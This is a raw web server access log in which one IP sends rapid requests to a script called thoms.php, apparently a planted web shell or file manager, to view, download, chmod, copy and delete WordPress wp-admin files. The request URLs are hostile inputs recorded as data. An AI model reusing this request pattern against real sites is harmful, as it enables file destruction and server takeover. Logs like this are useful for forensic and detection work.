45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?dl=ms-users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /bestzyx.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15636 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20110 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ftheme-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ftheme-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?chmod=widgets.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?del=load-scripts.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28939 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?del=update-core.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?del=custom-background.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:38 -0400] "GET /thoms.php?dl=options-privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Frevision.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Frevision.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18481 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /bestzyx.com.tw/wp-admin/js/ HTTP/1.1" 200 3703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23795 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /bestzyx.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12062 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24952 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /bestzyx.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /bestzyx.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?del=includes&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=includes&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?chmod=my-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?del=link-add.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /bestzyx.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:39 -0400] "GET /thoms.php?dl=options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28945 "http://163.245.207.76:443/thoms.php?dl=options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 12261 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?dl=widgets-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmoderation.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmoderation.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?chmod=admin-post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?del=css&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=css&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?dl=async-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15657 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Finstall.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Finstall.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:40 -0400] "GET /thoms.php?dl=freedoms.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fload-scripts.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fload-scripts.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16611 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?del=menu-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?del=ms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?del=import.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28938 "http://163.245.207.76:443/thoms.php?del=import.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 12020 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?dl=plugin-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28939 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?chmod=themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /thoms.php?del=user-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28945 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13704 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:41 -0400] "GET /bestzyx.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27138 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?chmod=post-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?del=ms-admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?del=ms-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26260 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 12253 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?dl=moderation.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28944 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /bestzyx.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fnetwork.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fnetwork.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:42 -0400] "GET /thoms.php?del=admin-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /bestzyx.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12669 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?chmod=custom-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /bestzyx.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16882 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?dl=press-this.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?dl=site-health.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?chmod=load-styles.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15558 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15457 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
